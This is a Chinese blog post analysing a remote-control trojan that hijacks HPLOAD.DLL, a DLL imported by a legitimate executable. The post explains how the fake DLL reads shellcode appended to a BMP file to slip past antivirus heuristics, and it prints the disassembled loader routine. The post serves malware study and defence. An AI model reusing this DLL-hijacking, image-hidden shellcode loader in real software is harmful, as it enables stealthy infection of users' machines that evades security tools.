提醒:本文最后更新于 152 天前,其中某些信息可能已经过时,请谨慎使用!
你似乎正在查看一篇很久远的文章。
为了你这样的访客,我特地保留了我的历史博文。不要笑话过去的我,用温柔的目光看下去吧。

浅谈白利用二

前面我们简单介绍了白利用的一个例子,但实际上符合这种例子的情况还是比较少的,下面我们来说个,有大量可被利用的情况。

首先有个基本概念,就是导入表DLL,不懂的话,可以自己去搜索下,网上介绍很多,这里就不详细多说了,这里要介绍的就是通过该导入表DLL劫持,来达到白利用的目的。

下面举个远控木马的例子来进行说明

这个远控木马包括一个正常的白文件 MD5为5A7921A112D6811009681863D8C2BA76

该文件的特点就是导入表里导入了个自己要用的DLL

HPLOAD.DLL,实际上通过这种导入表引入函数,来调用所需要的函数的情况,在现在是非普遍的。

木马就是劫持了这个DLL,把这个DLL替换成木马自身的DLL,来启动自己。众所周知,当前很多杀软防御都是基于进程级别的,没有做到模块级别,这也是基于效率的考虑,但也同时给木马留下了大量的机会。

但现在启发式很多的情况下,这个DLL如果做太多的事,则可能被启发式报出来,所以木马在这里又耍了个滑头,这个DLL本身并不做太多的事,他只是读取当前目录下的那个XXX.bmp文件,这个XXX.BMP文件实际是个BMP图像文件,外带一堆木马的SHELLCODE,这样通过DLL,读取该文件中的SHELLCODE来执行,来达到绕过启发式引擎的发现。因为没有人会去扫描一个BMP文件,也算是用心良苦了。

.text:10001800 _DllMain@12_0   proc near               ; CODE XREF: DllMain(x,x,x) j
.text:10001800
.text:10001800 Buffer          = byte ptr -6FCh
.text:10001800 var_6FB         = byte ptr -6FBh
.text:10001800 arg_0           = dword ptr  8
.text:10001800 NumberOfBytesRead= dword ptr  0Ch
.text:10001800
.text:10001800                 push    ebp
.text:10001801                 mov     ebp, esp
.text:10001803                 sub     esp, 6FCh
.text:10001809                 mov     eax, [ebp+NumberOfBytesRead]
.text:1000180C                 cmp     eax, 1
.text:1000180F                 jnz     loc_100018EF
.text:10001815                 push    esi
.text:10001816                 nop
.text:10001817                 push    0               ; hTemplateFile
.text:10001819                 push    80h             ; dwFlagsAndAttributes
.text:1000181E                 push    3               ; dwCreationDisposition
.text:10001820                 push    0               ; lpSecurityAttributes
.text:10001822                 push    0               ; dwShareMode
.text:10001824                 push    80000000h       ; dwDesiredAccess
.text:10001829                 push    offset FileName ; "xxx.bmp"
.text:1000182E                 call    ds:CreateFileA
.text:10001834                 mov     esi, eax
.text:10001836                 cmp     esi, 0FFFFFFFFh
.text:10001839                 jz      short loc_100018AF
.text:1000183B                 push    edi
.text:1000183C                 nop
.text:1000183D                 nop
.text:1000183E                 nop
.text:1000183F                 push    0               ; lpFileSizeHigh
.text:10001841                 push    esi             ; hFile
.text:10001842                 mov     [ebp+NumberOfBytesRead], 0
.text:10001849                 call    ds:GetFileSize
.text:1000184F                 mov     [ebp+NumberOfBytesRead], eax
.text:10001852                 nop
.text:10001853                 nop
.text:10001854                 mov     eax, [ebp+NumberOfBytesRead]
.text:10001857                 push    0               ; dwMoveMethod
.text:10001859                 add     eax, 0FFFFF904h
.text:1000185E                 push    0               ; lpDistanceToMoveHigh
.text:10001860                 push    eax             ; lDistanceToMove
.text:10001861                 push    esi             ; hFile
.text:10001862                 call    ds:SetFilePointer
.text:10001868                 nop
.text:10001869                 nop
.text:1000186A                 nop
.text:1000186B                 mov     ecx, 1BEh
.text:10001870                 xor     eax, eax
.text:10001872                 lea     edi, [ebp+var_6FB]
.text:10001878                 mov     [ebp+Buffer], 0
.text:1000187F                 rep stosd
.text:10001881                 lea     ecx, [ebp+NumberOfBytesRead]
.text:10001884                 push    0               ; lpOverlapped
.text:10001886                 stosw
.text:10001888                 push    ecx             ; lpNumberOfBytesRead
.text:10001889                 lea     edx, [ebp+Buffer]
.text:1000188F                 push    6FCh            ; nNumberOfBytesToRead
.text:10001894                 push    edx             ; lpBuffer
.text:10001895                 push    esi             ; hFile
.text:10001896                 stosb
.text:10001897                 call    ds:ReadFile
.text:1000189D                 nop
.text:1000189E                 nop
.text:1000189F                 push    esi             ; hObject
.text:100018A0                 call    ds:CloseHandle
.text:100018A6                 lea     eax, [ebp+Buffer]
.text:100018AC                 call    eax
.text:100018AE                 pop     edi
.text:100018AF
.text:100018AF loc_100018AF:                           ; CODE XREF: _DllMain@12_0+39 j
.text:100018AF                 mov     ecx, [ebp+arg_0]
.text:100018B2                 push    ecx             ; struct HINSTANCE__ *
.text:100018B3                 push    offset unk_10005548 ; struct AFX_EXTENSION_MODULE *
.text:100018B8                 call    ?AfxInitExtensionModule@@YGHAAUAFX_EXTENSION_MODULE@@PAUHINSTANCE__@@@Z ; AfxInitExtensionModule(AFX_EXTENSION_MODULE &,HINSTANCE__ *)
.text:100018BD                 test    eax, eax
.text:100018BF                 pop     esi
.text:100018C0                 jnz     short loc_100018C8
.text:100018C2                 mov     esp, ebp
.text:100018C4                 pop     ebp
.text:100018C5                 retn    0Ch
.text:100018C8 ; ---------------------------------------------------------------------------
.text:100018C8
.text:100018C8 loc_100018C8:                           ; CODE XREF: _DllMain@12_0+C0 j
.text:100018C8                 push    40h             ; unsigned int
.text:100018CA                 call    ??2@YAPAXI@Z    ; operator new(uint)
.text:100018CF                 add     esp, 4
.text:100018D2                 test    eax, eax
.text:100018D4                 jz      short loc_100018FE
.text:100018D6                 push    0
.text:100018D8                 push    offset unk_10005548
.text:100018DD                 mov     ecx, eax
.text:100018DF                 call    ??0CDynLinkLibrary@@QAE@AAUAFX_EXTENSION_MODULE@@H@Z ; CDynLinkLibrary::CDynLinkLibrary(AFX_EXTENSION_MODULE &,int)
.text:100018E4                 mov     eax, 1
.text:100018E9                 mov     esp, ebp
.text:100018EB                 pop     ebp
.text:100018EC                 retn    0Ch

发表评论

共有 0 条看法